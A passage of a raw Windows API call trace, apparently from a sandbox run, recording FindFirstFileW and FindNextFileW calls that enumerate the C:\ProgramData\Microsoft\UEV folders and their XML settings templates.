ftLastAccessTime.dwLowDateTime=0xbe3615f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0075.672] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe3615f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.673] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46867b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InboxTemplates", cAlternateFileName="INBOXT~1")) returned 1 [0075.673] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe469068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scripts", cAlternateFileName="")) returned 1 [0075.673] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0075.673] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0075.673] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0075.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0075.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0075.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0075.673] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV", lpFilePart=0x0) returned 0x1c [0075.674] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe3615f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0075.674] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe3615f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.674] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46867b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InboxTemplates", cAlternateFileName="INBOXT~1")) returned 1 [0075.674] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe469068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scripts", cAlternateFileName="")) returned 1 [0075.674] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0075.674] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.674] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0075.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0075.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0075.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0075.675] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates", lpFilePart=0x0) returned 0x2b [0075.675] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46867b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0075.676] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46867b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.677] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf88ddb5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf88ddb5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4771, dwReserved0=0x0, dwReserved1=0x0, cFileName="DesktopSettings2013.xml", cAlternateFileName="")) returned 1 [0075.677] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x173d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EaseOfAccessSettings2013.xml", cAlternateFileName="")) returned 1 [0075.677] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc27, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftInternetExplorer2013.xml", cAlternateFileName="")) returned 1 [0075.678] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftInternetExplorer2013Backup.xml", cAlternateFileName="")) returned 1 [0075.678] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftLync2010.xml", cAlternateFileName="")) returned 1 [0075.678] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb31, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftLync2013Win32.xml", cAlternateFileName="")) returned 1 [0075.678] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb31, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftLync2013Win64.xml", cAlternateFileName="")) returned 1 [0075.678] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftNotepad.xml", cAlternateFileName="")) returned 1 [0075.678] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x11c51, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2010Win32.xml", cAlternateFileName="")) returned 1 [0075.678] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x11c51, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2010Win64.xml", cAlternateFileName="")) returned 1 [0075.678] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013BackupWin32.xml", cAlternateFileName="")) returned 1 [0075.679] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013BackupWin64.xml", cAlternateFileName="")) returned 1 [0075.679] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf88ddb5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf88ddb5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2964, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Office365Win32.xml", cAlternateFileName="")) returned 1 [0075.679] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2964, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Office365Win64.xml", cAlternateFileName="")) returned 1 [0075.679] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Win32.xml", cAlternateFileName="")) returned 1 [0075.679] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Win64.xml", cAlternateFileName="")) returned 1 [0075.679] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016BackupWin32.xml", cAlternateFileName="")) returned 1 [0075.679] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016BackupWin64.xml", cAlternateFileName="")) returned 1 [0075.679] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x100c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016Win32.xml", cAlternateFileName="")) returned 1 [0075.680] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x100c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016Win64.xml", cAlternateFileName="")) returned 1 [0075.680] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x506, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2013CAWin32.xml", cAlternateFileName="")) returned 1 [0075.680] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x506, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2013CAWin64.xml", cAlternateFileName="")) returned 1 [0075.680] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x509, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2016CAWin32.xml", cAlternateFileName="")) returned 1 [0075.680] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x509, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2016CAWin64.xml", cAlternateFileName="")) returned 1 [0075.680] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftSkypeForBusiness2016Win32.xml", cAlternateFileName="")) returned 1 [0075.680] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftSkypeForBusiness2016Win64.xml", cAlternateFileName="")) returned 1 [0075.680] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftWordpad.xml", cAlternateFileName="")) returned 1 [0075.680] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x85f, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkPrinters.xml", cAlternateFileName="")) returned 1 [0075.681] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RoamingCredentialSettings.xml", cAlternateFileName="")) returned 1 [0075.681] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, 